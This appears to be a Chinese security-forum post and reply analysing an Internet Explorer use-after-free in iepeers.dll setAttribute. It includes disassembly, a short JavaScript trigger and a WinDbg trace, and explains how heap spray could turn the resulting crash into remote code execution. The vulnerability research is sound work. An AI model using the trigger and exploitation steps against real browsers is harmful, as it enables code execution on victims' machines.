首页
论坛
课程
招聘
[原创]IE0DAY:iepeers.dll!CPersistUserData::setAttribute导致内存破坏可能导致远程执行任意代码
2010-3-12 08:33 27127

[原创]IE0DAY:iepeers.dll!CPersistUserData::setAttribute导致内存破坏可能导致远程执行任意代码

2010-3-12 08:33
27127
Microsoft安全预警页面:http://www.microsoft.com/technet/security/advisory/981374.mspx
PoC来源:http://www.rec-sec.com/2010/03/10/internet-explorer-iepeers-use-after-free-exploit/

调试环境:IE7(可能不是最全补丁版本),XP sp3 简体中文版,对上面链接取得的PoC,我连Heap Spray部分都去掉了,只分析内存是怎么被破坏的,我用的PoC内容在附件。

iepeers.dll中的CPersistUserData::setAttribute对VT_DISPATCH类型的Variant变量进行转化的过程中的处理失误导致内存破坏,有可能导致远程执行任意代码。

1. 网页COmWindowProxy对象通过mshtml!COmWindowProxy::GetSecurityThunk方法调用mshtml!CreateTearOffThunk为自己创建相应的TearoffThunk类结构。

.text:3E51A766 53 push ebx ; int
.text:3E51A767 68 30 59 5B 3E push offset _GUID const * const * const g_apIID_IDispatchEx ; int
.text:3E51A76C 6A 07 push 7 ; int
.text:3E51A76E FF 30 push dword ptr [eax] ; int
.text:3E51A770 50 push eax ; int
.text:3E51A771 57 push edi ; int
.text:3E51A772 53 push ebx ; int
.text:3E51A773 68 DC 2F 5B 3E push offset long (CVoid::*const * const COmWindowProxy::s_apfnIDispatchEx)(void) ; int
.text:3E51A778 56 push esi ; int
.text:3E51A779 E8 4B 85 09 00 call CreateTearOffThunk(void *,void const *,IUnknown *,void * *,void *,void *,ulong,_GUID const * const *,void *)


2. 当对TearoffThunk类结构调用jscript!IDispatchExGetDispID时,后者通过TearoffThunk类结构调用mshtml!TearoffThunk7,使其跳到mshtml!COmWindowProxy::subGetDispID。


.text:75BE302B
.text:75BE302B long __stdcall IDispatchExGetDispID(class CSession *, struct IDispatchEx *, unsigned short *, unsigned long, long *) proc near
.text:75BE302B ; CODE XREF: GetDex2DispID(CSession *,IDispatchEx *,SYM *,long *,ulong)+30p
.text:75BE302B
.text:75BE302B var_C = dword ptr -0Ch
.text:75BE302B Session = dword ptr 8
.text:75BE302B Dispatch = dword ptr 0Ch
.text:75BE302B arg_8 = dword ptr 10h
.text:75BE302B arg_C = dword ptr 14h
.text:75BE302B arg_10 = dword ptr 18h
.text:75BE302B
.text:75BE302B ; FUNCTION CHUNK AT .text:75BFFC54 SIZE 00000016 BYTES
.text:75BE302B
.text:75BE302B mov edi, edi
.text:75BE302D push ebp
.text:75BE302E mov ebp, esp
.text:75BE3030 sub esp, 0Ch
.text:75BE3033 push esi
.text:75BE3034 push 0
.text:75BE3036 lea ecx, [ebp+var_C]
.text:75BE3039 call TLS_NoDestructor::TLS_NoDestructor(COleScript *)
.text:75BE3039
.text:75BE303E mov eax, [ebp+Session]
.text:75BE3041 test eax, eax
.text:75BE3043 jz short loc_75BE3055
.text:75BE3043
.text:75BE3045 test dword ptr [eax+224h], 80000000h
.text:75BE304F jnz loc_75BFFC54
.text:75BE304F
.text:75BE3055
.text:75BE3055 loc_75BE3055: ; CODE XREF: IDispatchExGetDispID(CSession *,IDispatchEx *,ushort *,ulong,long *)+18j
.text:75BE3055 push [ebp+arg_10]
.text:75BE3058 mov eax, [ebp+Dispatch] ; pointer of TearoffThunk structure
.text:75BE305B push [ebp+arg_C]
.text:75BE305E mov ecx, [eax]
.text:75BE3060 push [ebp+arg_8]
.text:75BE3063 push eax
.text:75BE3064 call dword ptr [ecx+1Ch] ; mshtml!TearoffThunk7
.text:75BE3064
.text:75BE3067


3. PoC中的网页脚本,在button标签的onClick事件中,采用如下语句将一个新的body标签与UserData绑定:
var sdfsfsdf = document.createElement("BODY");
sdfsfsdf.addBehavior("#default#userData");
document.appendChild(sdfsfsdf);


4. 之后脚本循环调用body标签的setAttribute方法:
try
{
for (i=0;i<10;i++)
{
sdfsfsdf.setAttribute('s',window);
}
}
catch(e){}


5. 上面的脚本调用导致iepeers.dll中的CPersistUserData::setAttribute被调用。
对于VT_DISPATCH类的源Variant变量,该函数没有做特别处理,包括没有增加其相应IDispatch对象(这里是TearoffThunk对象)的访问计数,就直接调用了OLEAUT32!VariantChangeTypeEx试图将封装了TearoffThunk类的Variant变量(其类型为VT_DISPATCH)强制转换为Locale为美国英语的VT_BSTR类型:
.text:58775272
.text:58775272 ; int __stdcall CPersistUserData__setAttribute(int,int,VARIANTARG pvarSrc)
.text:58775272 public: virtual long __stdcall CPersistUserData::setAttribute(unsigned short *, struct tagVARIANT) proc near
.text:58775272 ; DATA XREF: .text:58762FC4o
.text:58775272
.text:58775272 pvarg = VARIANTARG ptr -10h
.text:58775272 arg_0 = dword ptr 8
.text:58775272 arg_4 = dword ptr 0Ch
.text:58775272 pvarSrc = VARIANTARG ptr 10h
.text:58775272
.text:58775272 8B FF mov edi, edi
.text:58775274 55 push ebp
.text:58775275 8B EC mov ebp, esp
.text:58775277 83 EC 10 sub esp, 10h
.text:5877527A 53 push ebx
.text:5877527B 56 push esi
.text:5877527C 33 F6 xor esi, esi
.text:5877527E 39 75 0C cmp [ebp+arg_4], esi
.text:58775281 57 push edi
.text:58775282 75 0A jnz short loc_5877528E
.text:58775282
.text:58775284 BF 57 00 07 80 mov edi, 80070057h
.text:58775289 E9 C9 00 00 00 jmp loc_58775357
.text:58775289
.text:5877528E ; ---------------------------------------------------------------------------
.text:5877528E
.text:5877528E loc_5877528E: ; CODE XREF: CPersistUserData::setAttribute(ushort *,tagVARIANT)+10j
.text:5877528E 8B 5D 08 mov ebx, [ebp+arg_0]
.text:58775291 56 push esi
.text:58775292 8B CB mov ecx, ebx
.text:58775294 E8 92 0F FF FF call CPersistUserData::initXMLCache(int)
.text:58775294
.text:58775299 8B F8 mov edi, eax
.text:5877529B 3B FE cmp edi, esi
.text:5877529D 0F 85 B4 00 00 00 jnz loc_58775357
.text:5877529D
.text:587752A3 39 73 18 cmp [ebx+18h], esi
.text:587752A6 0F 84 AB 00 00 00 jz loc_58775357
.text:587752A6
.text:587752AC 8B 45 10 mov eax, dword ptr [ebp+pvarSrc.anonymous_0] ; VARIANT.vt(VARTYPE) == VT_DISPATCH
.text:587752AF 66 83 F8 08 cmp ax, VT_BSTR
.text:587752B3 89 75 F0 mov dword ptr [ebp+pvarg.anonymous_0], esi
.text:587752B6 89 75 F4 mov dword ptr [ebp+pvarg.anonymous_0+4], esi
.text:587752B9 89 75 F8 mov dword ptr [ebp+pvarg.anonymous_0+8], esi
.text:587752BC 74 62 jz short loc_58775320
.text:587752BC
.text:587752BE 66 3D 08 40 cmp ax, 4008h
.text:587752C2 74 5C jz short loc_58775320
.text:587752C2
.text:587752C4 66 83 F8 0B cmp ax, VT_BOOL
.text:587752C8 74 24 jz short loc_587752EE
.text:587752C8
.text:587752CA 66 3D 0B 40 cmp ax, 400Bh
.text:587752CE 74 24 jz short loc_587752F4
.text:587752CE
.text:587752D0 6A 08 push VT_BSTR ; vt
.text:587752D2 6A 00 push 0 ; wFlags
.text:587752D4 8D 75 10 lea esi, [ebp+pvarSrc]
.text:587752D7 68 09 04 00 00 push 409h ; lcid
.text:587752DC 8B C6 mov eax, esi
.text:587752DE 50 push eax ; pvarSrc
.text:587752DF 50 push eax ; pvargDest
.text:587752E0 FF 15 58 12 76 58 call ds:VariantChangeTypeEx(x,x,x,x,x)


6. 这里问题出现了,上面对VariantChangeTypeEx的调用可以看到,pvarSrc和pvargDest均指向封装了TearoffThunk类的Variant变量。为了将转换的结果写入pvargDest指向的目标Variant,VariantChangeTypeEx必须对其原内容进行清理,因此它对pvargDest(由于iepeers!CPersistUserData::setAttribute调用时传入的参数问题,这里其实也就是指向源Variant)调用了VariantClear,后者调用mshtml!PlainRelease减少了相应TearoffThunk类的访问计数。(感谢27楼对该处的指正)
.text:770F6B80 loc_770F6B80: ; CODE XREF: VariantChangeTypeEx(x,x,x,x,x)-1C5Dj
.text:770F6B80 ; VariantChangeTypeEx(x,x,x,x,x)-131Dj
.text:770F6B80 ; VariantChangeTypeEx(x,x,x,x,x)-12F2j
.text:770F6B80 ; VariantChangeTypeEx(x,x,x,x,x)-D60j
.text:770F6B80 ; VariantChangeTypeEx(x,x,x,x,x)-A5Bj
.text:770F6B80 ; VariantChangeTypeEx(x,x,x,x,x)-A06j ...
.text:770F6B80 test ebx, ebx
.text:770F6B82 jl loc_770F643E
.text:770F6B82
.text:770F6B88 mov ax, [ebp+vt]
.text:770F6B8C mov word ptr [ebp+pvarg], ax
.text:770F6B90 mov eax, [ebp+pvargDest]
.text:770F6B93 cmp word ptr [eax], VT_BSTR ; 目标变量的类型是否已转变为VT_BSTR
.text:770F6B97 jnb loc_770F4E04 ; 超过8则跳,这里目标Variant就是源Variant,类型还是VT_DISPATCH(9),跳转实现

.text:770F4E04 loc_770F4E04: ; CODE XREF: VariantChangeTypeEx(x,x,x,x,x)+ADj
.text:770F4E04 push eax ; pvarg
.text:770F4E05 call VariantClear(x)

7. 由于以上提到的原因,iepeers!CPersistUserData::setAttribute每被调用一次(也就是那个脚本中的for循环每循环一次),相应TearoffThunk对象的访问计数就会被减少1。多次的循环下来导致了其访问计数被减小为0,从而mshtml!PlainRelease将其内存区域被程序写到mshtml.dll中的一个可用指针
.text:3E5B54C8 loc_3E5B54C8: ; CODE XREF: PlainRelease(TEAROFF_THUNK *)+48Aj
.text:3E5B54C8 56 push esi ; Value
.text:3E5B54C9 8B 35 7C 13 50 3E mov esi, ds:InterlockedExchange(x,x)
.text:3E5B54CF 68 64 9D 80 3E push offset lpMem ; Target
.text:3E5B54D4 FF D6 call esi ; InterlockedExchange(x,x)


8. 之后在CWindow::PrivateQueryInterface对CreateTearoffThunk的调用中,上面那个“可用指针”被其重用。
.text:3E5B55FD ; Attributes: bp-based frame
.text:3E5B55FD
.text:3E5B55FD public: virtual long __stdcall CWindow::PrivateQueryInterface(struct _GUID const &, void * *) proc near
.text:3E5B55FD ; DATA XREF: .text:const CWindow::`vftable'{for `CBase'}o
.text:3E5B55FD
.text:3E5B55FD arg_0 = dword ptr 8
.text:3E5B55FD arg_4 = dword ptr 0Ch
.text:3E5B55FD arg_8 = dword ptr 10h
.text:3E5B55FD
.text:3E5B55FD ; FUNCTION CHUNK AT .text:3E51AD5E SIZE 00000030 BYTES
.text:3E5B55FD ; FUNCTION CHUNK AT .text:3E5B6B34 SIZE 00000042 BYTES
.text:3E5B55FD ; FUNCTION CHUNK AT .text:3E5B6BA6 SIZE 00000025 BYTES
.text:3E5B55FD ; FUNCTION CHUNK AT .text:3E5B6BF0 SIZE 00000048 BYTES
.text:3E5B55FD ; FUNCTION CHUNK AT .text:3E5B8CBE SIZE 0000000D BYTES
.text:3E5B55FD ; FUNCTION CHUNK AT .text:3E5DAD16 SIZE 0000001F BYTES
.text:3E5B55FD ; FUNCTION CHUNK AT .text:3E5EC29C SIZE 0000001F BYTES
.text:3E5B55FD ; FUNCTION CHUNK AT .text:3E601117 SIZE 0000000A BYTES
.text:3E5B55FD ; FUNCTION CHUNK AT .text:3E62C921 SIZE 0000000A BYTES
.text:3E5B55FD ; FUNCTION CHUNK AT .text:3E648C4D SIZE 0000000A BYTES
.text:3E5B55FD ; FUNCTION CHUNK AT .text:3E667A04 SIZE 0000001F BYTES
.text:3E5B55FD ; FUNCTION CHUNK AT .text:3E6B6D3B SIZE 0000000D BYTES
.text:3E5B55FD
.text:3E5B55FD 8B FF mov edi, edi
.text:3E5B55FF 55 push ebp
.text:3E5B5600 8B EC mov ebp, esp
.text:3E5B5602 53 push ebx
.text:3E5B5603 8B 5D 10 mov ebx, [ebp+arg_8]
.text:3E5B5606 56 push esi
.text:3E5B5607 8B 75 0C mov esi, [ebp+arg_4]
.text:3E5B560A 33 D2 xor edx, edx
.text:3E5B560C 89 13 mov [ebx], edx
.text:3E5B560E 8B 06 mov eax, [esi]
.text:3E5B5610 B9 11 04 51 30 mov ecx, 30510411h
.text:3E5B5615 3B C1 cmp eax, ecx
.text:3E5B5617 57 push edi
.text:3E5B5618 0F 87 46 01 00 00 ja loc_3E5B5764
.text:3E5B5618
.text:3E5B561E 0F 84 FD 72 07 00 jz loc_3E62C921
.text:3E5B561E
.text:3E5B5624 B9 94 F5 50 30 mov ecx, 3050F594h
.text:3E5B5629 3B C1 cmp eax, ecx
.text:3E5B562B 0F 86 75 15 00 00 jbe loc_3E5B6BA6
.text:3E5B562B
.text:3E5B5631 2D B1 F6 50 30 sub eax, 3050F6B1h
.text:3E5B5636 0F 84 56 E3 0E 00 jz loc_3E6A3992
.text:3E5B5636
.text:3E5B563C 83 E8 1E sub eax, 1Eh
.text:3E5B563F 0F 84 2E E3 0E 00 jz loc_3E6A3973
.text:3E5B563F
.text:3E5B5645 83 E8 0D sub eax, 0Dh
.text:3E5B5648 0F 84 E2 B5 0B 00 jz near ptr loc_3E670C2C+4
.text:3E5B5648
.text:3E5B564E 2D 32 0D 00 00 sub eax, 0D32h
.text:3E5B5653 0F 84 AB 23 0B 00 jz loc_3E667A04
.text:3E5B5653
.text:3E5B5659 48 dec eax
.text:3E5B565A 48 dec eax
.text:3E5B565B 0F 85 BB 15 00 00 jnz loc_3E5B6C1C
.text:3E5B565B
.text:3E5B5661 BF 70 8D 5B 3E mov edi, offset _IID_IHTMLPrivateWindow2
.text:3E5B5661
.text:3E5B5666
.text:3E5B5666 loc_3E5B5666: ; CODE XREF: CWindow::PrivateQueryInterface(_GUID const &,void * *)+77329j
.text:3E5B5666 6A 04 push 4
.text:3E5B5668 59 pop ecx
.text:3E5B5669 33 C0 xor eax, eax
.text:3E5B566B F3 A7 repe cmpsd
.text:3E5B566D 0F 85 BB 15 00 00 jnz loc_3E5B6C2E
.text:3E5B566D
.text:3E5B5673 52 push edx
.text:3E5B5674 53 push ebx
.text:3E5B5675 52 push edx
.text:3E5B5676 68 A4 56 5B 3E push offset long (CVoid::*const * const CWindow::s_apfnIHTMLPrivateWindow3)(void)
.text:3E5B5676
.text:3E5B567B
.text:3E5B567B loc_3E5B567B: ; CODE XREF: CWindow::PrivateQueryInterface(_GUID const &,void * *)+36CB9j
.text:3E5B567B ; CSecureDispatchProxy::QueryInterface(_GUID const &,void * *)+248Ej
.text:3E5B567B ; _IID_IHTMLPrivateWindow+2Aj
.text:3E5B567B ; CElement::get_nodeType(long *)+130ADj
.text:3E5B567B ; CElement::get_nodeType(long *)+130CCj
.text:3E5B567B ; CElement::get_nodeType(long *)+13141j
.text:3E5B567B FF 75 08 push [ebp+arg_0]
.text:3E5B567E E8 C4 EE FF FF call CreateTearOffThunk(void *,void const *,IUnknown *,void * *,void *)
.text:3E5B567E

.text:3E5B2CDF
.text:3E5B2CDF loc_3E5B2CDF: ; CODE XREF: CreateTearOffThunk(void *,void const *,IUnknown *,void * *,void *,void *,ulong,_GUID const * const *,void *)-2DEE5j
.text:3E5B2CDF 8B 3D 7C 13 50 3E mov edi, ds:InterlockedExchange(x,x)
.text:3E5B2CE5 6A 00 push 0 ; Value
.text:3E5B2CE7 68 64 9D 80 3E push offset lpMem ; Target
.text:3E5B2CEC FF D7 call edi ; InterlockedExchange(x,x)
.text:3E5B2CEE 8B F0 mov esi, eax
.text:3E5B2CF0 85 F6 test esi, esi
.text:3E5B2CF2 0F 84 1F 19 00 00 jz loc_3E5B4617
.text:3E5B2CF2

9. 此后脚本执行过程中再次涉及对原TearoffThunk类结构指针调用jscript!IDispatchExGetDispID,这时由于该指针其实已经被重用,原来应该为mshtml!COmWindowProxy::s_apfnIDispatchEx的位置现在已经被mshtml!CWindow::s_apfnIHTMLPrivateWindow3 (3e5b56a4)代替,导致在mshtml!TearoffThunk7中以下位置原本的代码

.text:3E5B56C0 83 F8 09 cmp eax, 9
.text:3E5B56C3 0F 85 6B 14 00 00 jnz loc_3E5B6B34

被当成函数指针0x0F09F883:
ext:3E5B95D6
.text:3E5B95D6 void __stdcall TearoffThunk7(void) proc near
.text:3E5B95D6 ; DATA XREF: .data:3E80F234o
.text:3E5B95D6 ; .data:3E8131ACo
.text:3E5B95D6
.text:3E5B95D6 arg_0 = dword ptr 4
.text:3E5B95D6
.text:3E5B95D6 ; FUNCTION CHUNK AT .text:3E6B7B0F SIZE 00000008 BYTES
.text:3E5B95D6
.text:3E5B95D6 8B 44 24 04 mov eax, [esp+arg_0]
.text:3E5B95DA 50 push eax
.text:3E5B95DB F7 40 1C 80 00 00 00 test dword ptr [eax+1Ch], 80h
.text:3E5B95E2 0F 85 27 E5 0F 00 jnz loc_3E6B7B0F
.text:3E5B95E2
.text:3E5B95E8
.text:3E5B95E8 loc_3E5B95E8: ; CODE XREF: TearoffThunk7(void)+FE53Cj
.text:3E5B95E8 83 C0 0C add eax, 0Ch
.text:3E5B95EB 8B 08 mov ecx, [eax]
.text:3E5B95ED 89 4C 24 08 mov [esp+4+arg_0], ecx
.text:3E5B95F1 8B 48 04 mov ecx, [eax+4] ; 原为mshtml!COmWindowProxy::s_apfnIDispatchEx,现为mshtml!CWindow::s_apfnIHTMLPrivateWindow3 (3e5b56a4)
.text:3E5B95F4 8B 49 1C mov ecx, [ecx+1Ch] ; dword ptr [3E5B56C0] == 0x0F09F883
.text:3E5B95F7 58 pop eax
.text:3E5B95F8 C7 40 20 07 00 00 00 mov dword ptr [eax+20h], 7
.text:3E5B95FF FF E1 jmp ecx ; jmp 0x0F09F883,无效内存,抛出异常,或因为被heap spray而跳入shellcode。
.text:3E5B95FF
.text:3E5B95FF void __stdcall TearoffThunk7(void) endp
.text:3E5B95FF

从而导致Jmp 0x0F09F883,一般情况下该处内存无效,因此会抛出Access Violation异常。如果配合Heap Spray用nop+shellcode将该区域覆盖,则将可以操纵EIP指针跳入shellcode之中,从而远程执行代码。

综上,iepeers.dll中的CPersistUserData::setAttribute函数在对VT_DISPATCH类型的Variant变量进行处理时,在没有增加其相应IDispatch对象(这里是TearoffThunk对象)的访问计数的情况下调用OLEAUT32!VariantChangeTypeEx试图将其强制转换为VT_BSTR类型,且对OLEAUT32!VariantChangeTypeEx调用所传入的目的指针和源指针一致,使得VariantChangeTypeEx函数在写入转换结果之前对目的指针(也即源指针)调用了VariantClear(感谢27楼的指正,进一步讨论见29楼),导致相应IDispatch对象的访问计数减1。
PoC网页利用精心构造的脚本多次调用CPersistUserData::setAttribute函数,可以使得与COmWindowProxy对象关联的TearoffThunk对象的访问计数被减为0,从而其所在内存区域在之后被重用于与CWindow对象关联。而当后续操作导致对与COmWindowProxy对象关联的TearoffThunk对象调用了TearoffThunk7函数时,由于其已被修改而导致取到错误的函数指针,从而可以操纵eip跳到某个固定的错误地址(在我的IE版本中该地址为0x0F09F883)。通常这个地址为无效内存,从而引发Access Violation异常(拒绝服务),但通过结合Heap Spray技术有可能使该地址被shellcode所占据,从而导致以浏览器进程的用户权限远程执行任意代码。

2020 KCTF秋季赛【攻击篇】正在火热进行中!

上传的附件:
收藏
点赞0
打赏
分享
最新回复 (46)
雪    币: 52
活跃值: 活跃值 (18)
能力值: ( LV4,RANK:50 )
在线值:
发帖
回帖
粉丝
yiyiguxing 活跃值 1 2010-3-12 08:46
2
0
小聪的动作好快啊,不错不错,顺便问下,那个symbol从哪下的?
雪    币: 666
活跃值: 活跃值 (26)
能力值: ( LV12,RANK:300 )
在线值:
发帖
回帖
粉丝
轩辕小聪 活跃值 7 2010-3-12 09:28
3
0
调试方法:
WINDBG载入iexplore.exe,命令行参数为PoC网页路径,第一次停在系统断点,放行之:

(d4.3c8): Break instruction exception - code 80000003 (first chance)
eax=00251eb4 ebx=7ffda000 ecx=00000003 edx=00000008 esi=00251f48 edi=00251eb4
eip=7c92120e esp=0013fb20 ebp=0013fc94 iopl=0 nv up ei pl nz na po nc
cs=001b ss=0023 ds=0023 es=0023 fs=003b gs=0000 efl=00000202
ntdll!DbgBreakPoint:
7c92120e cc int 3
0:000> g

跑起来后IE7会出现为了保护安全性已阻止有关内容执行的条子,这时先在windbg里暂停回到调试器。
在其下位置(jscript!IDispatchExGetDispID中)
.text:75BE3064                 call    dword ptr [ecx+1Ch] ; mshtml!TearoffThunk7
下硬件执行断点(这样下断是因为这时jscript.dll还没有加载,不能bp),g执行:

0:012> ba e 1 75be3064
0:012> g

这时可以点击允许相关内容执行,很快断下:

Breakpoint 0 hit
eax=001897e0 ebx=019df8e0 ecx=3e80f218 edx=00000000 esi=00986950 edi=00986950
eip=75be3064 esp=019df81c ebp=019df83c iopl=0 nv up ei pl zr na pe nc
cs=001b ss=0023 ds=0023 es=0023 fs=003b gs=0000 efl=00000246
jscript!IDispatchExGetDispID+0x48:
75be3064 ff511c call dword ptr [ecx+1Ch] ds:0023:3e80f234={mshtml!TearoffThunk7 (3e5b95d6)}

记下这个eax=001897e0,即之后内存破坏的位置。
继续单步可以看清楚正常的流程,即分析中的第2点,可以看到正确的流程是跳到mshtml!COmWindowProxy::subGetDispID。

0:005> t
eax=001897ec ebx=019df8e0 ecx=001c98d8 edx=00000000 esi=00986950 edi=00986950
eip=3e5b95f1 esp=019df814 ebp=019df83c iopl=0 nv up ei pl nz na po nc
cs=001b ss=0023 ds=0023 es=0023 fs=003b gs=0000 efl=00000202
mshtml!TearoffThunk7+0x1e:
3e5b95f1 8b4804 mov ecx,dword ptr [eax+4] ds:0023:001897f0={mshtml!COmWindowProxy::s_apfnIDispatchEx (3e5b2fdc)}
0:005> t
eax=001897ec ebx=019df8e0 ecx=3e5b2fdc edx=00000000 esi=00986950 edi=00986950
eip=3e5b95f4 esp=019df814 ebp=019df83c iopl=0 nv up ei pl nz na po nc
cs=001b ss=0023 ds=0023 es=0023 fs=003b gs=0000 efl=00000202
mshtml!TearoffThunk7+0x21:
3e5b95f4 8b491c mov ecx,dword ptr [ecx+1Ch] ds:0023:3e5b2ff8={mshtml!COmWindowProxy::subGetDispID (3e5a830c)}
......
0:005> t
eax=001897e0 ebx=019df8e0 ecx=3e5a830c edx=00000000 esi=00986950 edi=00986950
eip=3e5b95ff esp=019df818 ebp=019df83c iopl=0 nv up ei pl nz na po nc
cs=001b ss=0023 ds=0023 es=0023 fs=003b gs=0000 efl=00000202
mshtml!TearoffThunk7+0x2c:
3e5b95ff ffe1 jmp ecx {mshtml!COmWindowProxy::subGetDispID (3e5a830c)}

取消刚刚设的断点,对导致内存破坏的始作俑者iepeers.dll!CPersistUserData::setAttribute下断,运行断下:

0:005> bu iepeers!CPersistUserData::setAttribute
0:005> g
ModLoad: 58760000 58792000 C:\WINDOWS\system32\iepeers.dll
Breakpoint 1 hit
eax=7ffd9000 ebx=58762f98 ecx=58775272 edx=001a8e8a esi=00986310 edi=00000000
eip=58775272 esp=019dc9a8 ebp=019dc9d0 iopl=0 nv up ei pl nz na po nc
cs=001b ss=0023 ds=0023 es=0023 fs=003b gs=0000 efl=00010202
iepeers!CPersistUserData::setAttribute:
58775272 8bff mov edi,edi

单步直接看到对OLEAUT32!VariantChangeTypeEx的调用:

......
0:005> t
eax=00980009 ebx=00987ea0 ecx=5dd56557 edx=0020d1c0 esi=00000000 edi=00000000
eip=587752d0 esp=019dc988 ebp=019dc9a4 iopl=0 nv up ei ng nz ac po cy
cs=001b ss=0023 ds=0023 es=0023 fs=003b gs=0000 efl=00000293
iepeers!CPersistUserData::setAttribute+0x5e:
587752d0 6a08 push 8
0:005> t
eax=00980009 ebx=00987ea0 ecx=5dd56557 edx=0020d1c0 esi=00000000 edi=00000000
eip=587752d2 esp=019dc984 ebp=019dc9a4 iopl=0 nv up ei ng nz ac po cy
cs=001b ss=0023 ds=0023 es=0023 fs=003b gs=0000 efl=00000293
iepeers!CPersistUserData::setAttribute+0x60:
587752d2 6a00 push 0
0:005> t
eax=00980009 ebx=00987ea0 ecx=5dd56557 edx=0020d1c0 esi=00000000 edi=00000000
eip=587752d4 esp=019dc980 ebp=019dc9a4 iopl=0 nv up ei ng nz ac po cy
cs=001b ss=0023 ds=0023 es=0023 fs=003b gs=0000 efl=00000293
iepeers!CPersistUserData::setAttribute+0x62:
587752d4 8d7510 lea esi,[ebp+10h]
0:005> t
eax=00980009 ebx=00987ea0 ecx=5dd56557 edx=0020d1c0 esi=019dc9b4 edi=00000000
eip=587752d7 esp=019dc980 ebp=019dc9a4 iopl=0 nv up ei ng nz ac po cy
cs=001b ss=0023 ds=0023 es=0023 fs=003b gs=0000 efl=00000293
iepeers!CPersistUserData::setAttribute+0x65:
587752d7 6809040000 push offset <Unloaded_ud.drv>+0x408 (00000409)
0:005> t
eax=00980009 ebx=00987ea0 ecx=5dd56557 edx=0020d1c0 esi=019dc9b4 edi=00000000
eip=587752dc esp=019dc97c ebp=019dc9a4 iopl=0 nv up ei ng nz ac po cy
cs=001b ss=0023 ds=0023 es=0023 fs=003b gs=0000 efl=00000293
iepeers!CPersistUserData::setAttribute+0x6a:
587752dc 8bc6 mov eax,esi
0:005> t
eax=019dc9b4 ebx=00987ea0 ecx=5dd56557 edx=0020d1c0 esi=019dc9b4 edi=00000000
eip=587752de esp=019dc97c ebp=019dc9a4 iopl=0 nv up ei ng nz ac po cy
cs=001b ss=0023 ds=0023 es=0023 fs=003b gs=0000 efl=00000293
iepeers!CPersistUserData::setAttribute+0x6c:
587752de 50 push eax
0:005> t
eax=019dc9b4 ebx=00987ea0 ecx=5dd56557 edx=0020d1c0 esi=019dc9b4 edi=00000000
eip=587752df esp=019dc978 ebp=019dc9a4 iopl=0 nv up ei ng nz ac po cy
cs=001b ss=0023 ds=0023 es=0023 fs=003b gs=0000 efl=00000293
iepeers!CPersistUserData::setAttribute+0x6d:
587752df 50 push eax
0:005> t
eax=019dc9b4 ebx=00987ea0 ecx=5dd56557 edx=0020d1c0 esi=019dc9b4 edi=00000000
eip=587752e0 esp=019dc974 ebp=019dc9a4 iopl=0 nv up ei ng nz ac po cy
cs=001b ss=0023 ds=0023 es=0023 fs=003b gs=0000 efl=00000293
iepeers!CPersistUserData::setAttribute+0x6e:
587752e0 ff1558127658 call dword ptr [iepeers!_imp__VariantChangeTypeEx (58761258)] ds:0023:58761258={OLEAUT32!VariantChangeTypeEx (770f6aea)}

单步步进,看到源Variant指针为0x019dc9b4,并从其中取到对应的类指针,正是0x001897e0。

0:005> t
eax=019dc9b4 ebx=00987ea0 ecx=5dd56557 edx=0020d1c0 esi=019dc9b4 edi=00000000
eip=770f6aff esp=019dc930 ebp=019dc96c iopl=0 nv up ei pl nz na pe nc
cs=001b ss=0023 ds=0023 es=0023 fs=003b gs=0000 efl=00000206
OLEAUT32!VariantChangeTypeEx+0x15:
770f6aff 8b750c mov esi,dword ptr [ebp+0Ch] ss:0023:019dc978=019dc9b4
......
0:005> t
eax=00000061 ebx=00000000 ecx=00000009 edx=0000001b esi=019dc9b4 edi=00000000
eip=770f5786 esp=019dc930 ebp=019dc96c iopl=0 nv up ei pl zr na pe nc
cs=001b ss=0023 ds=0023 es=0023 fs=003b gs=0000 efl=00000246
OLEAUT32!VariantChangeTypeEx+0xe9:
770f5786 8b7608 mov esi,dword ptr [esi+8] ds:0023:019dc9bc=001897e0

单步步进直到看到对OLEAUT32!ExtractValueProperty的调用,注意其第一个参数(最后push的那个)正是esi=001897e0。

0:005> t
eax=00000061 ebx=00000000 ecx=00000009 edx=0000001b esi=001897e0 edi=00000000
eip=770f578f esp=019dc930 ebp=019dc96c iopl=0 nv up ei pl zr na pe nc
cs=001b ss=0023 ds=0023 es=0023 fs=003b gs=0000 efl=00000246
OLEAUT32!VariantChangeTypeEx+0xf2:
770f578f 8d45d0 lea eax,[ebp-30h]
0:005> t
eax=019dc93c ebx=00000000 ecx=00000009 edx=0000001b esi=001897e0 edi=00000000
eip=770f5792 esp=019dc930 ebp=019dc96c iopl=0 nv up ei pl zr na pe nc
cs=001b ss=0023 ds=0023 es=0023 fs=003b gs=0000 efl=00000246
OLEAUT32!VariantChangeTypeEx+0xf5:
770f5792 50 push eax
0:005> t
eax=019dc93c ebx=00000000 ecx=00000009 edx=0000001b esi=001897e0 edi=00000000
eip=770f5793 esp=019dc92c ebp=019dc96c iopl=0 nv up ei pl zr na pe nc
cs=001b ss=0023 ds=0023 es=0023 fs=003b gs=0000 efl=00000246
OLEAUT32!VariantChangeTypeEx+0xf6:
770f5793 ff7510 push dword ptr [ebp+10h] ss:0023:019dc97c=00000409
0:005> t
eax=019dc93c ebx=00000000 ecx=00000009 edx=0000001b esi=001897e0 edi=00000000
eip=770f5796 esp=019dc928 ebp=019dc96c iopl=0 nv up ei pl zr na pe nc
cs=001b ss=0023 ds=0023 es=0023 fs=003b gs=0000 efl=00000246
OLEAUT32!VariantChangeTypeEx+0xf9:
770f5796 56 push esi
0:005> t
eax=019dc93c ebx=00000000 ecx=00000009 edx=0000001b esi=001897e0 edi=00000000
eip=770f5797 esp=019dc924 ebp=019dc96c iopl=0 nv up ei pl zr na pe nc
cs=001b ss=0023 ds=0023 es=0023 fs=003b gs=0000 efl=00000246
OLEAUT32!VariantChangeTypeEx+0xfa:
770f5797 e8b3be0400 call OLEAUT32!ExtractValueProperty (7714164f)

p步过,不要进去OLEAUT32!ExtractValueProperty,跟踪发现它并没有减少访问计数,继续步进直到对OLEAUT32!VariantClear的调用,注意到对OLEAUT32!VariantClear调用传入

的参数即目的Variant指针仍为0x019dc9b4,与源指针一致,这样这个调用导致对相应的对象即0x001897e0指向的TearoffThunk对象的访问计数减1(如果想要深入可以步入其中,

就可以发现把访问计数减1的就是mshtml!PlainRelease):
0:005> t
eax=00000000 ebx=00000000 ecx=019dc954 edx=00000010 esi=019dc93c edi=00000000
eip=770f6b80 esp=019dc930 ebp=019dc96c iopl=0 nv up ei pl zr ac pe cy
cs=001b ss=0023 ds=0023 es=0023 fs=003b gs=0000 efl=00000257
OLEAUT32!VariantChangeTypeEx+0x1001:
770f6b80 85db test ebx,ebx
0:005> t
